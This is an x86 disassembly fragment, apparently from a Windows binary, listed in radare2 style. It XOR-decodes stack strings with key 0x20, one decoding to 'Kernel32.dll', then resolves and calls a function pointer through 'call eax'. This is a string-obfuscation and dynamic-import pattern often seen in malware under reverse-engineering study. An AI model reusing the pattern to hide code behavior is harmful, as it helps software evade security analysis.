mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x20c], ecx
mov dl, byte [ebp - 0x11b]
jmp 0x418634
mov byte [ebp - 0x111], 0
push 0x20
pop edx
mov byte [ebp - 0x195], dl
mov dword [ebp - 0x194], 0x4e52456b
mov dword [ebp - 0x190], 0x12134c45
mov dword [ebp - 0x18c], 0x4c4c440e
mov byte [ebp - 0x188], 0
lea edi, [ebp - 0x195]
xor ecx, ecx
mov dword [ebp - 0x210], ecx
cmp ecx, 0xc
jae 0x4186b3
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x210], ecx
mov dl, byte [ebp - 0x195]
jmp 0x418695
mov byte [ebp - 0x188], 0
push esi
lea edx, [ebp - 0x11a]
lea ecx, [ebp - 0x194]
call fcn.0040af96
call eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fa99
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4